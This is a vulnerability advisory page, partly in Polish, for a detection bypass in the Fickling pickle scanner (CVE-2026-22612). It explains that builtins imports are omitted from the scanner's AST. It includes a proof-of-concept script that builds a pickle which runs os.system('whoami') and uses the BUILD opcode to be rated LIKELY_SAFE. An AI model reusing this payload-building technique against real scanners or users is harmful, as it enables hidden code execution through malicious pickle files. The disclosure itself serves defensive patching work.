Fickling vulnerable to detection bypass due to "builtins" blindness
#Fickling's assessment
Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).
Original report
Summary
Fickling works by Pickle bytecode --> AST --> Security analysis However while going from bytecode to AST, some import nodes are removed which blinds the security analysis
fickling/fickling/fickle.py
def run(self, interpreter: Interpreter):
module, attr = self.module, self.attr
if module in ("__builtin__", "__builtins__", "builtins"):
# no need to emit an import for builtins!
pass
else:
alias = ast.alias(attr)
interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
interpreter.stack.append(ast.Name(attr, ast.Load()))
def encode(self) -> bytes:
return f"c{self.module}\n{self.attr}\n".encode()
Here we see that no import nodes are emitted for builtins However builtins is marked as an unsafe import
fickling/fickling/analysis.py
UNSAFE_MODULES = {
"__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
"__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
"builtins": "This module contains dangerous functions that can execute arbitrary code.",
But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.
This can allow for security bypasses like this
poc.py (script to create payload)
import os
GLOBAL = b'c' # Import module.name
STRING = b'S' # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R' # Call function
PUT = b'p' # Memoize (Variable assignment)
GET = b'g' # Load from memo (Variable usage)
POP = b'0' # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's' # Add key/value to dict
BUILD = b'b' # Update object state (Liveness satisfy)
STOP = b'.' # Finish and return stack top
def generate_raw_payload():
payload = b""
payload += GLOBAL + b"builtins\n__import__\n"
payload += STRING + b"'os'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # _var0 = os module
payload += POP
payload += GLOBAL + b"builtins\ngetattr\n"
payload += GET + b"0\n" # os module
payload += STRING + b"'system'\n"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # _var1 = os.system
payload += POP
payload += GET + b"1\n" # os.system
payload += STRING + b"'whoami'\n" # COMMAND
payload += TUPLE1 + REDUCE
payload += PUT + b"2\n"
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"3\n"
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"2\n"
payload += SETITEM
payload += BUILD
payload += STOP
return payload
if __name__ == "__main__":
data = generate_raw_payload()
with open("raw_bypass.pkl", "wb") as f:
f.write(data)
print("Generated 'raw_bypass.pkl'")
This creates a pickle file which imports the OS module using import which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.
However now fickling sees the pickle payload as
_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4
As you can see there is no mention of builtins anywhere so it isnt flagged
Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED" We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state. By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain.
The end result is that the malicious pickle gets classified as LIKELY_SAFE
Fixes:
Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like __import__ while not emitting for stuff like dict()
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | fickling | < 0.1.7 | 0.1.7 |
Odnośniki
- https://github.com/trailofbits/fickling/security/advisories/GHSA-h4rm-mm56-xf63
- https://nvd.nist.gov/vuln/detail/CVE-2026-22612
- https://github.com/trailofbits/fickling/pull/195
- https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf
- https://github.com/trailofbits/fickling
- https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L349
- https://github.com/trailofbits/fickling/releases/tag/v0.1.7
- https://pypi.org/project/fickling
- https://github.com/advisories/GHSA-h4rm-mm56-xf63
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Słabość (CWE)
CWE-502- Platforma
- Python (PyPI)
- Paczka
fickling- Ujawniono
- 09.01.2026
- Aktualizacja
- 11.10.2026 13:19
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-1370 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-h4rm-mm56-xf63 - CC BY 4.0
Historia podatności: fickling
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 16
- Pierwsza → ostatnia
- 12.2025 07.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 1
- Wysoka 11
- Średnia 3
- Niska 1
Ujawnienia w latach
- 2025: 2
- 2026: 14
-
Fickling vulnerable to detection bypass due to "builtins" blindness ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.